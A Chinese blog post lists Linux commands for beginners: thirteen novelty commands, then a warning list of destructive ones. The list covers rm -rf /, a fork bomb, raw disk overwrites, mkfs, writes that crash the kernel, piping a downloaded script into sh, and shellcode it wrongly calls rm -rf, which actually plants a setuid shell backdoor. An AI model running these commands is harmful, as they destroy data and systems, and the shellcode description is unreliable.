歡迎光臨
每天分享高質量文章

Linux 新手必會的21條命令合集


Linux初期的學習曲線有些陡峭,所以作為一名初學者,學會自娛自樂是非常重要的。先來看13個有趣的小命令。

1.sl 命令

你會看到一輛火車從螢幕右邊開往左邊。。。。。。

安裝  $ sudo apt-get install sl
執行  $ sl

命令有 -alFe幾個選項,

-a An accident seems to happen. You'll feel pity for people who cry for help.
-l shows little one.
-F It flies.
-e Allow interrupt by Ctrl+C.

可以給別人來個惡作劇,他一敲ls,不知道的肯定很有效果

$alias ls=sl

2.fortune  命令

輸出一句話,有笑話,名言什麼的 (還有唐詩宋詞sudo apt-get install fortune-zh)

安裝 $sudo apt-get install fortune
執行 $fortune

3.cowsay 命令

用ASCII字元列印牛,羊等動物,還有個cowthink,這個是奶牛想,那個是奶牛說,哈哈,差不多

安裝  $sudo apt-get install cowsay
執行  $cowsay "I am not a cow, hahaha"

$cowsay -l  檢視其它動物的名字,然後-f跟上動物名,如
$cowsay -f tux "坑爹啊"

還可以讓cowsay說出fortune的內容,就像這樣:

$fortune | cowsay

4.cmatrix 命令

這個很酷!《駭客帝國》那種矩陣風格的動畫效果

安裝   $ sudo apt-get install cmatrix
執行   $cmatrix

5.figlet 、toilet命令

藝術字生成器,由ASCII字元組成,把文字顯示成標題欄。此外還有banner這個命令

安裝  $sudo apt-get install figlet
$sudo apt-get install toilet
執行  $figlet fuck you !
$toilet i love you

toilet還可以新增顏色,裡面的選項請自己man一下

$ toilet -f mono12 -F gay a girl

6.oneko 命令

桌面上出現一直喵星人,跟著你的滑鼠跑,你不動了它就睡覺。哈哈,這個挺不錯

安裝 $sudo apt-get install oneko
執行 $oneko   要關掉這傢伙,按ctrl+c 結束

7.xeyes 命令

在螢幕上出現一雙眼睛,盯著你的滑鼠指標

安裝運行同上

8.yes 命令

輸出無窮無盡的字元,按ctrl+c結束,如

$yes  我很NB

9.cal 9 1752

cal是列印日曆,不過這個是很奇葩的一個月,

10.shred

改寫搞亂檔案,就是檔案粉碎,哈哈,要把你私藏的大片種子和電影銷毀,不被恢復出來,就靠它了

11.factor

分解因數,這個。。。小學生可以用一下

12.挨個敲下麵這一堆, aptitude沒有的可以安裝上

aptitude moo
aptitude -v moo
aptitude -vv moo
aptitude -vvv moo
aptitude -vvvv moo
aptitude -vvvvv moo
aptitude -vvvvvv moo
aptitude -vvvvvvv moo

13.free the fish

桌面遊過一條魚…

alt+f2 輸入free the fish

那麼,繼續!

14.rm -rf /

和大多數 Linux 命令一樣,rm 這個核心命令使用起來非常方便。即便是最頑固的檔案它也能幫你刪除。結合起後面兩個引數理解 rm 指令時,你很容易陷入大麻煩:-r,強制遞迴刪除所有子目錄,-f,無需確認,強制刪除所有隻讀檔案。如果你在根目錄執行這條指令,將清除整個驅動器上的所有資料。

然後,當檔案化為烏有時其中也包括了公司的影片。幸運的是,在瘋狂敲擊 control -C 後,在刪除太多檔案之前,系統管理員中止了這條命令。但這是對你的警告:任何人都可能犯這樣的錯誤。

事實上,絕大部分現代作業系統都會在你犯這些錯誤之前,用一段醒目的文字警告你。然而,如果你在連續敲擊鍵盤時忙碌或是分心,你將會把你的系統鍵入一個黑洞。(LCTT 譯註:幸運的是,可能在根目錄下刪除整個檔案系統的人太多了額,後來 rm 預設禁止刪除根目錄,除非——你手動加上 –no-preserve-root 引數!)

這裡有一些更為隱蔽的方式呼叫 rm -rf。思考一下下麵的程式碼:

char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

這是什麼?這是 16 進位制的 rm -rf 寫法。在你不明確這段程式碼之前,請千萬不要執行這條命令!

15.fork 炸彈

既然我們討論的都是些奇怪的程式碼,不妨思考一下這一行:

:(){ :|: & };:


對你來說,這可能看起來有些神秘,但是我看來,它就是那個臭名昭著的 Bash fork 炸彈。它會反覆啟動新的 Bash shell,直到你的系統資源消耗殆盡、系統崩潰。


不應該在最新的 Linux 系統上做這些操作。註意,我說的是不應該。我沒有說不能。正確設定使用者許可權,Linux 系統能夠阻止這些破壞性行為。通常使用者僅限於分配使用機器可用記憶體。但是如果作為 root 使用者的你運行了這行命令(或者它的變體 Bash fork 炸彈變體),你仍然可以反覆虐待伺服器,直到系統重啟了。

16.垃圾資料重寫硬碟

有時候你想徹底清除硬碟的資料,你應該使用 Darik’s Boot and Nuke (DBAN) 工具去完成這項工作。

但是如果僅僅想讓你的儲存器亂套,那很簡單:

任意命令 > /dev/hda

我說的“任意命令”,是指有輸出的任意命令,比如:


ls -la > /dev/hda


……將目錄串列透過管道送到你的主儲存裝置。給我 root 許可權和足夠的時間,就能改寫整個硬碟裝置。這是讓你開始盲目恐慌的一天的好辦法,或者,可以把它變成職業禁入方式

17.擦除硬碟!

另一個一直受歡迎的擦除硬碟的方式是執行:

dd if=/dev/zero of=/dev/hda

你可以用這條命令寫入資料到你的硬碟裝置。dd 命令可以從特殊檔案中獲取無盡個 0 字元,並且將它全部寫入你的裝置。

18./dev/null 的損失

另一個毀滅你的儲存裝置的方式,執行 mv / /dev/null 或者 >mv /dev/null

在前一種情況下,你作為 root 使用者,把整個磁碟資料都送進這個如飢似渴的 /dev/null。在後者,你僅僅把家目錄喂給這個空空如也的倉庫。任何一種情況下,除非還原備份,你再也不會再看見你的資料了。

19.格式化錯了驅動器

有時候你需要使用這一條命令格式化驅動器:

mkfs.ext3 /dev/hda

……它會用 ext3 檔案系統格式化主硬碟驅動器。別,請等一下!你正在格式化你的主驅動器!難道你不需要用它?


當你要格式化驅動器的時候,請務必加倍確認你正在格式化的分割槽是真的需要格式化的那塊而不是你正在使用的那塊,無論它們是 SSD、快閃記憶體盤還是其他氧化鐵磁碟。

20.核心崩潰

一些 Linux 命令不能讓你的機器長時間停機。然而,一些命令卻可以導致核心崩潰。這些錯誤通常是由硬體問題引起的,但你也可以自己搞崩。

當你遭遇核心崩潰,重新啟動系統你才可以恢復工作。在一些情況下,這隻是有點小煩;在另一些情況下,這是一個大問題,比如說,高負荷運作下的生產環境。下麵有一個案例:

dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

這些都會導致核心崩潰。

絕不要執行你並不瞭解它功能的命令,它們都在提醒我…

21.提防未知指令碼

年輕或是懶惰的系統管理員喜歡複製別人的指令碼。何必重新重覆造輪子?所以,他們找到了一個很酷的指令碼,承諾會自動檢查所有備份。他們就這樣執行它:

wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

這會下載該指令碼,並將它送到 shell 上執行。

你認為你不會幹那樣的事?告訴我,所有那些 你在 Docker 裡面執行的容器映象在乾什麼?你知道它們到底在執行著什麼嗎?我見過太多的沒有驗證容器裡面裝著什麼就執行它們的系統管理員。請不要和他們一樣。

結束

我有沒有遺漏什麼?在 @sjvn 或 @enterprisenxt 上告訴我哪些 Linux 命令在你的“絕不要執行!”的清單上。

參考資料:

http://www.cnblogs.com/sukai/archive/2013/06/08/3127031.html

https://linux.cn/article-9206-1.html


《Linux雲端計算及運維架構師高薪實戰班》2018年07月16日即將開課中,120天衝擊Linux運維年薪30萬,改變速約~~~~

    *宣告:推送內容及圖片來源於網路,部分內容會有所改動,版權歸原作者所有,如來源資訊有誤或侵犯權益,請聯絡我們刪除或授權事宜。

    – END –


    更多Linux好文請點選【閱讀原文】

    ↓↓↓

    贊(0)

    分享創造快樂